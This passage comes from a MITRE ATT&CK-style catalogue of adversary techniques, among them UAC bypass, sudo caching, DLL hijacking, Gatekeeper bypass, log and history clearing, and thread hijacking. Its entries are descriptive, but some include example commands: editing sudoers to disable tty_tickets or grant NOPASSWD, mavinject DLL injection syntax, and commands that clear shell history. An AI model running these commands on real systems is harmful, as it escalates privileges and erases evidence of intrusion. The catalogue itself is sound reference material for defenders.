be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)\nT1548.003 | Sudo and Sudo Caching | Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.\nT1578 | Modify Cloud Compute Infrastructure | An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)\nT1542.001 | System Firmware | Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\nT1574.011 | Services Registry Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)\nT1542.003 | Bootkit | Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\nT1218.013 | Mavinject | Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)\nT1036.005 | Match Legitimate Name or Location | Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.\nT1600 | Weaken Encryption | Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)\nT1036.008 | Masquerade File Type | Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\u2019s signature, extension, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\u2019s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\nT1564 | Hide Artifacts | Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)\nT1484.002 | Domain Trust Modification | Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert a domain to a federated domain, which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \nT1562.009 | Safe Mode Boot | Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)\nT1542.005 | TFTP Boot | Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)\nT1497.001 | System Checks | Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)\nT1070.002 | Clear Linux or Mac System Logs | Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* /var/log/messages:: General and system-related messages\n* /var/log/secure or /var/log/auth.log: Authentication logs\n* /var/log/utmp or /var/log/wtmp: Login records\n* /var/log/kern.log: Kernel logs\n* /var/log/cron.log: Crond logs\n* /var/log/maillog: Mail server logs\n* /var/log/httpd/: Web server access and error logs\n\nT1218.004 | InstallUtil | Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)\nT1027.008 | Stripped Payloads | Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system\u2019s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)\n\nAdversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)\nT1574.001 | DLL Search Order Hijacking | Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\nT1553.001 | Gatekeeper Bypass | Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple\u2019s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute \u2013 Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing \u2013 Gatekeeper checks for a valid code signature from an Apple Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an \u201cunauthorized app\u201d and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton)\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).\nT1553.002 | Code Signing | Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. \nT1036.009 | Break Process Trees | An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the \u201cparent-child\" relationship for detection, breaking this relationship could result in the adversary\u2019s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022) \n\nOn Linux systems, adversaries may execute a series of [Native API](https://attack.mitre.org/techniques/T1106) calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork()` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.\n\nAnother example is using the \u201cdaemon\u201d syscall to detach from the current parent process and run in the background.(Citation: Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022) \nT1222.001 | Windows File and Directory Permissions Modification | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\nT1218.007 | Msiexec | Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)\nT1556.002 | Password Filter DLL | Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)\nT1070.007 | Clear Network Connection History and Configurations | Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\n\nNetwork connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\n\nWindows may also store information about recent RDP connections in files such as C:\\Users\\\\%username%\\Documents\\Default.rdp and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.\nT1600.001 | Reduce Key Space | Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)\nT1070.003 | Clear Command History | In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history. \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (clear logging and/or clear history).(Citation: US-CERT-TA18-106A)\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\nT1202 | Indirect Command Execution | Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.\nT1140 | Deobfuscate/Decode Files or Information | Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)\nT1562 | Impair Defenses | Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)\n\nAdversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.\nT1055.003 | Thread Execution Hijacking | Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar 